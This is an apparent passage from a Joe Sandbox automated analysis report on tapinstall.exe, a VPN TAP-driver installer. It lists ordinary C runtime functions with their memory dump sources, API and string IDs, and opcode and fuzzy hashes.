                                                                                                                  Strings
                                                                                                                  • C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe, xrefs: 00007FF7FEE0064E
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
                                                                                                                  • String ID: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe
                                                                                                                  • API String ID: 3580290477-2985852448
                                                                                                                  • Opcode ID: b063ccabdf4ae0fb810ec30d9af89ab26e9ed12f878b4f8ead2f3c050a887b6f
                                                                                                                  • Instruction ID: 0588e149350441f692aba9f8e844986a9ec6925383cdcd3c44e1958ea59a4bfb
                                                                                                                  • Opcode Fuzzy Hash: b063ccabdf4ae0fb810ec30d9af89ab26e9ed12f878b4f8ead2f3c050a887b6f
                                                                                                                  • Instruction Fuzzy Hash: 40419136A0870289F755BF25F4401BDA696EBC47D0BD54435EA5F03BC9DEBDD48087A0
                                                                                                                  Function 00007FF7FEDFFD7C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 109COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  • C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe, xrefs: 00007FF7FEDFFDBF
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: _invalid_parameter_noinfo
                                                                                                                  • String ID: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe
                                                                                                                  • API String ID: 3215553584-2985852448
                                                                                                                  • Opcode ID: e29d975727e9928f6db482a1ce53242b1b870c676fb5658a615ffb6c2a7e9428
                                                                                                                  • Instruction ID: 71ce54a9382c10625f63995b3208b02aa25de692ac4c8d8f841218b1dc9c8bf0
                                                                                                                  • Opcode Fuzzy Hash: e29d975727e9928f6db482a1ce53242b1b870c676fb5658a615ffb6c2a7e9428
                                                                                                                  • Instruction Fuzzy Hash: 5641B432A08B5289F750EF25F8401ACA795EB84BD4B944032EA7E47BD9DE7DD44083A0
                                                                                                                  Function 00007FF7FEE16F00 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: ErrorFileLastWrite
                                                                                                                  • String ID: U
                                                                                                                  • API String ID: 442123175-4171548499
                                                                                                                  • Opcode ID: 1fe9f3420805e2f29ef7fd3f085adcd01cfbc63ee96cabacd67f80ead1b7df33
                                                                                                                  • Instruction ID: fec335a15e9635aaa42ed9744d424fd24b083369c95e24572b0e8c13b44b46ba
                                                                                                                  • Opcode Fuzzy Hash: 1fe9f3420805e2f29ef7fd3f085adcd01cfbc63ee96cabacd67f80ead1b7df33
                                                                                                                  • Instruction Fuzzy Hash: 8041B322A19A8285EB209F25F4443AAA760FB88B94F804135EE5E877D8DF7CD481C790
                                                                                                                  Function 00007FF7FEDF63EC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 92COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: _invalid_parameter_noinfo
                                                                                                                  • String ID: (null)
                                                                                                                  • API String ID: 3215553584-3941151225
                                                                                                                  • Opcode ID: 6c3bdb81d6503200fbc9806bbd4de99d2cd9e2aec5a58b5ddbe94e3352eb6c76
                                                                                                                  • Instruction ID: c20a41f1e095be5d771a038839d0b1656287c68795fa0b1b0d89c3ab72938c9b
                                                                                                                  • Opcode Fuzzy Hash: 6c3bdb81d6503200fbc9806bbd4de99d2cd9e2aec5a58b5ddbe94e3352eb6c76
                                                                                                                  • Instruction Fuzzy Hash: 7E41B2728086C28AEB55AF28914027CB7A8EB85B49F944039CA7907FDDDB2AD445C7A0
                                                                                                                  Function 00007FF7FEDF61AC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 91COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: _invalid_parameter_noinfo
                                                                                                                  • String ID: (null)
                                                                                                                  • API String ID: 3215553584-3941151225
                                                                                                                  • Opcode ID: 86f5d118cb039ec818438e09ce49581f3b3a508989dcbeb2b4f251bb552b9fde
                                                                                                                  • Instruction ID: 88e2da19773fca3196cd2b89b28fadcd601957d3affe33820e514a0064cbd966
                                                                                                                  • Opcode Fuzzy Hash: 86f5d118cb039ec818438e09ce49581f3b3a508989dcbeb2b4f251bb552b9fde
                                                                                                                  • Instruction Fuzzy Hash: 514103729086C286EB54EF28824427CB7A8EB81B48F944079CB7D07FD9DF2AD445D7E0
                                                                                                                  Function 00007FF7FEDD93B8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 80COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: EntryInterlockedListNamePush__un
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 524438517-3916222277
                                                                                                                  • Opcode ID: 417fdae7254f6f5144bd35c4e94cf888892e231184d73a789330c72b6a667246
                                                                                                                  • Instruction ID: 255ddc18417ba87b8999d71b81a0f9b0213c459dcf14e51f8c8deae432d9e860
                                                                                                                  • Opcode Fuzzy Hash: 417fdae7254f6f5144bd35c4e94cf888892e231184d73a789330c72b6a667246
                                                                                                                  • Instruction Fuzzy Hash: 4F312812B29B8144FB25EB25A404469A3A4BB88FE8FD84535DE3D037D1DE7AD401C3A4
                                                                                                                  Function 00007FF7FEDF686C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 80COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: _invalid_parameter_noinfo
                                                                                                                  • String ID: (null)
                                                                                                                  • API String ID: 3215553584-3941151225
                                                                                                                  • Opcode ID: cc2c6a8b0e55809a46d0f9a000170ec88b53eaf67deeeed0a9ebb9cf96cbfb4a
                                                                                                                  • Instruction ID: 7263f5064c14adbe17e99c1610c09e094c1c18af0bdbe4085d5a9aaaa4a6674c
                                                                                                                  • Opcode Fuzzy Hash: cc2c6a8b0e55809a46d0f9a000170ec88b53eaf67deeeed0a9ebb9cf96cbfb4a
                                                                                                                  • Instruction Fuzzy Hash: 2431C07290868285EB54AF15D10027CB7A8EB84F48F944039CBBC0BFD9DF7AE452C7A1
                                                                                                                  Function 00007FF7FEDF6634 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 80COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: _invalid_parameter_noinfo
                                                                                                                  • String ID: (null)
                                                                                                                  • API String ID: 3215553584-3941151225
                                                                                                                  • Opcode ID: 8d16575f416e964c397b675debac7c57f087c1fd9fd9ac565c228dc38de02ea8
                                                                                                                  • Instruction ID: 4e1c9ce9d56048988f70021bf7e3b2853bb0b8328ef4225f2fb4967e533c422f
                                                                                                                  • Opcode Fuzzy Hash: 8d16575f416e964c397b675debac7c57f087c1fd9fd9ac565c228dc38de02ea8
                                                                                                                  • Instruction Fuzzy Hash: EE318C7290869285EB54AF15914027CB7A8EB84F48F944039CB7E07FD9DF7AE452C7A0
                                                                                                                  Function 00007FF7FEE22648 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: _set_errno_from_matherr
                                                                                                                  • String ID: exp
                                                                                                                  • API String ID: 1187470696-113136155
                                                                                                                  • Opcode ID: d5f934b609bcad54c18539aeaafe18b7f7d4df74e02c91daf66fb3b3797701d8
                                                                                                                  • Instruction ID: b16ad5e43106e2e5f16f04629d6a8a5aba81bf2aebd24bccb9f02ac907921630
                                                                                                                  • Opcode Fuzzy Hash: d5f934b609bcad54c18539aeaafe18b7f7d4df74e02c91daf66fb3b3797701d8
                                                                                                                  • Instruction Fuzzy Hash: 0F21FF36E196458BEB60DF28B44026AB2A0FBCD700F904539E69E86B95DE7CE4408F50
                                                                                                                  Function 00007FF7FEE08EA0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Stringtry_get_function
                                                                                                                  • String ID: LCMapStringEx
                                                                                                                  • API String ID: 2588686239-3893581201
                                                                                                                  • Opcode ID: cb295809db890668f8262a5fe3d3b6ddd0daf1558d4252fdccb92730558150a5
                                                                                                                  • Instruction ID: f05863c7fb51e5c978f5362b3f480ec01f3970d14163dd7c383ba5b760b3ed07
                                                                                                                  • Opcode Fuzzy Hash: cb295809db890668f8262a5fe3d3b6ddd0daf1558d4252fdccb92730558150a5
                                                                                                                  • Instruction Fuzzy Hash: 5D113E32A08B8186E760DF15F4402AAB7A1FBC9B90F944139EEDE43B59CF7CD4508B40
                                                                                                                  Function 00007FF7FEE087B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CompareStringtry_get_function
                                                                                                                  • String ID: CompareStringEx
                                                                                                                  • API String ID: 3328479835-2590796910
                                                                                                                  • Opcode ID: b4cbd51ef5490bc2d2e272553a4ec6addf4d60e5b84b1302dc18e736ddf69fb6
                                                                                                                  • Instruction ID: 7d3d0836f4f02f89378563a74c247829e1023c77bbf093e2c93507d7e3c6e579
                                                                                                                  • Opcode Fuzzy Hash: b4cbd51ef5490bc2d2e272553a4ec6addf4d60e5b84b1302dc18e736ddf69fb6
                                                                                                                  • Instruction Fuzzy Hash: 7E114D36A08B8186E760DF15F4402AAB7A1FBC9B90F94413AEEDE43B59DF7CD4508B50
                                                                                                                  Function 00007FF7FEE08A50 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: DateFormattry_get_function
                                                                                                                  • String ID: GetDateFormatEx
                                                                                                                  • API String ID: 595753042-159735388
                                                                                                                  • Opcode ID: 10ba63a0d18b04a583d40d43b30d9b9fca51ff14bda4a48675f954ae51532e04
                                                                                                                  • Instruction ID: 7f3badf3ae8b5c52e79a91635021dce58f32db8f5f4d59d877f85e1e811e7996
                                                                                                                  • Opcode Fuzzy Hash: 10ba63a0d18b04a583d40d43b30d9b9fca51ff14bda4a48675f954ae51532e04
                                                                                                                  • Instruction Fuzzy Hash: 5A113A32A08B8186E7109F55F44009AB7A1FBC8BD0F584139EE9E43BA9CE7CD9548B84
                                                                                                                  Function 00007FF7FEE08C10 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44timeCOMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: FormatTimetry_get_function
                                                                                                                  • String ID: GetTimeFormatEx
                                                                                                                  • API String ID: 3261793192-1692793031
                                                                                                                  • Opcode ID: aeeeb5d1137ef8777056a49e071640647c3087b2b7666cf388f882a4f27613d1
                                                                                                                  • Instruction ID: 24e79152ce627fabd1c710f6164f4ab008685a100c175e1233591c28f6c5d70d
                                                                                                                  • Opcode Fuzzy Hash: aeeeb5d1137ef8777056a49e071640647c3087b2b7666cf388f882a4f27613d1
                                                                                                                  • Instruction Fuzzy Hash: 00114F25A0878186F7109F66F44005AB7A0FBC8BD0F584135EF9E53BA9CE7CD5548B94
                                                                                                                  Function 00007FF7FEE08CBC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: DefaultUsertry_get_function
                                                                                                                  • String ID: GetUserDefaultLocaleName
                                                                                                                  • API String ID: 3217810228-151340334
                                                                                                                  • Opcode ID: 40f2b170c37b226c28a728e1fb59e4eb6a38f080f95f7a64a26471c64eab7d17
                                                                                                                  • Instruction ID: 37846bd28026c4ebcebf12e9916d3634c83cba301236c1e7aed136ff1d4085cd
                                                                                                                  • Opcode Fuzzy Hash: 40f2b170c37b226c28a728e1fb59e4eb6a38f080f95f7a64a26471c64eab7d17
                                                                                                                  • Instruction Fuzzy Hash: 0AF05E10F1C54281FB146B65B9856B9A262AFC8780FD44039DA2F06AD5CEBC985587A4
                                                                                                                  Function 00007FF7FEE08D74 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CountCriticalInitializeSectionSpintry_get_function
                                                                                                                  • String ID: InitializeCriticalSectionEx
                                                                                                                  • API String ID: 539475747-3084827643
                                                                                                                  • Opcode ID: 036a1433a8a1f8b3f241dbe4fb9b563d765e8a3562a01f57a6fbde3195910b39
                                                                                                                  • Instruction ID: 72d3b1dc897b2bad1672d5df0af1a76e6d9049f1c7fa4fbeb77945d6d3d99ea3
                                                                                                                  • Opcode Fuzzy Hash: 036a1433a8a1f8b3f241dbe4fb9b563d765e8a3562a01f57a6fbde3195910b39
                                                                                                                  • Instruction Fuzzy Hash: D7F03021E1874281FB046F51B4400A9A261AFC8B90FD55139DA2E13B94CFBCD55987A4
                                                                                                                  Function 00007FF7FEDD8A74 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF7FEDD8A7D
                                                                                                                  • _CxxThrowException.LIBVCRUNTIME ref: 00007FF7FEDD8A8E
                                                                                                                    • Part of subcall function 00007FF7FEDD95E8: RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF7FEDD8A93), ref: 00007FF7FEDD965D
                                                                                                                    • Part of subcall function 00007FF7FEDD95E8: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF7FEDD8A93), ref: 00007FF7FEDD968F
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Exception$FileHeaderRaiseThrowstd::bad_alloc::bad_alloc
                                                                                                                  • String ID: Unknown exception
                                                                                                                  • API String ID: 3561508498-410509341
                                                                                                                  • Opcode ID: c34982857cb7bf4f7b9c185461aa535e310ed63d4d8e15e87b28d440cdfdae32
                                                                                                                  • Instruction ID: 8d58a35e9c1a24ffe3d58c9b50530fdde5263e965b52c33ba7efd0fb23915af5
                                                                                                                  • Opcode Fuzzy Hash: c34982857cb7bf4f7b9c185461aa535e310ed63d4d8e15e87b28d440cdfdae32
                                                                                                                  • Instruction Fuzzy Hash: 62D01222A1458591EF20FB40E440394A330FBC0308FE04435D15D426F1DFADD54AC790
                                                                                                                  Function 00007FF7FEE089FC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • try_get_function.LIBVCRUNTIME ref: 00007FF7FEE08A25
                                                                                                                  • TlsSetValue.KERNEL32(?,?,00000000,00007FF7FEE077AE,?,?,00000000,00007FF7FEE06B85,?,?,?,?,00007FF7FEDE6CA8), ref: 00007FF7FEE08A3C
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
